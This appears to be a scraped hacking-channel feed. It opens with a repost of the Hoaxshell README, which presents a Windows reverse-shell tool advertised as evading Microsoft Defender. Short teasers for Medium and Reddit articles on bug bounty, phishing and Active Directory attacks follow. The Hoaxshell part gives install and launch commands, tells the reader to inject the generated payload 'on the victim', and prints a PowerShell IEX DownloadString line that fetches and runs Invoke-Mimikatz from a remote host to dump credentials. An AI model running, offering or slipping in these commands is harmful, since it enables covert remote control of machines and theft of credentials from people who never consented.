Kali Linux Tutorials
Hoaxshell : An Unconventional Windows Reverse Shell, Currently Undetected By Microsoft Defender

Hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates it’s own PowerShell payload and it supports encryption (ssl).

So far, it has been tested on fully updated Windows 11 Enterprise and Windows 10 Pro boxes (see video and screenshots).

Installation

git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Usage

Important: As a means of avoiding detection, hoaxshell is automatically generating random values for the session id, URL paths and name of a custom http header utilized in the process, every time the script is started. The generated payload will work only for the instance it was generated for. Use the -goption to bypass this behaviour and re-establish an active session or reuse a past generated payload with a new instance of hoaxshell.

Basic shell session over http

sudo python3 hoaxshell.py -s

When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the “rawpayload” prompt command or start hoaxshell with the -rargument. After the payload has been executed on the victim, you’ll be able to run PowerShell commands against it.

Encrypted shell session (https):

Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s -c -k

The generated PowerShell payload will be longer in length because of an additional block of code that disables the ssl certificate validation.

Grab session mode

In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine.

sudo python3 hoaxshell.py -s -g

Limitations

The shell is going to hang if you execute a command that initiates an interactive session. Example:

this command will execute succesfully and you will have no problem:
powershell echo ‘This is a test’
But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
powershell
In the same manner, you won’t have a problem executing this:
cmd /c dir /a
But this will cause your hoaxshell to hang:
cmd.exe

So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands:

hoaxshell > IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.0.13:4443/Invoke-Mimikatz.ps1’);Invoke-Mimikatz -Command ‘”PRIVILEGE::Debug”‘

Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context.
Download

___________________________
@hacking_Attack
@Hacking_Video

Learn to Hack Web Apps for Free
https://zuber-kariye.medium.com/learn-to-hack-web-apps-for-free-432f2782c905?source=rss------bug_bounty-5

Hello, everyone. I hope everything is going well for you. I am back again with another article and this time I will be guiding you on how…Continue reading on Medium » (https://zuber-kariye.medium.com/learn-to-hack-web-apps-for-free-432f2782c905?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
DuckDuckGo opens its privacy-focused email service to everyone

https://external-preview.redd.it/tkpWxoDdQvHHKURq7d5jdX5zazIv9WNN4SARqem8tm8.jpg?width=640&crop=smart&auto=webp&s=c110685d64f260be91677201cbf3e65777f94728 submitted by /u/Glad_Living3908
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
A CSRF vulnerability that affects the entire nodejs ecosystem

https://external-preview.redd.it/TSj1xZcsh6_7mDwpc-DruHfXRPczW1nYXda4I9l_FeY.jpg?width=640&crop=smart&auto=webp&s=acc4cd3a3e394a712ce3c255313f604081f44ade submitted by /u/adrian_rt
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What hacker-related jobs are there?

I recently got into coding and hacking and would like to know if there are any jobs for hackers

submitted by /u/Drykonial
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Phishin!

https://cdn-images-1.medium.com/max/2600/1*o4SAIb29jp6jBqUKlY43BA.jpeg
How threat actors and ethical hackers are utilising the right-to-left override character to masquerade phishing payloads.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hack The Box Walkthrough: Arctic

https://cdn-images-1.medium.com/max/1400/1*m9nI2oQ5WjawLL-ifso41g.png
Hey everyone, today’s walkthrough will be against HTB’s Arctic machine. I encourage everyone to follow along to get the most enjoyment out…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Leak-Prone or Leak-Proof ?

https://cdn-images-1.medium.com/max/1280/1*6SEvBcWGe4SC8QKwNGup-w.png
A friend referred me to this report — “LastPass developer systems hacked to steal source code”…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Learn to Hack Web Apps for Free

Hello, everyone. I hope everything is going well for you. I am back again with another article and this time I will be guiding you on how…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacking Smart Contracts — Telephone

https://cdn-images-1.medium.com/max/700/1*Dq_wVoL8TjtUe3MTFXWGvQ.jpeg
4. Bypassing Tx.Origin requirement

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Attacking Active Directory: Post-Compromise Attack s— Kerberoasting Attack

https://cdn-images-1.medium.com/max/2600/1*YxBRUnHoGIwt6jAHc4-lqw.jpeg
Kerberoasting can be an effective method for extracting service account credentials from Active Directory as a regular user without…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty For Beginners

In this version of the Bug Bounty methodology and techniques I use during the recon and fingerprinting phase of an engagement. As you…Continue reading on Medium »
Read more...

Bug Bounty For Beginners
https://medium.com/@rajeevranjancom/bug-bounty-for-beginners-4a7558223d0f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video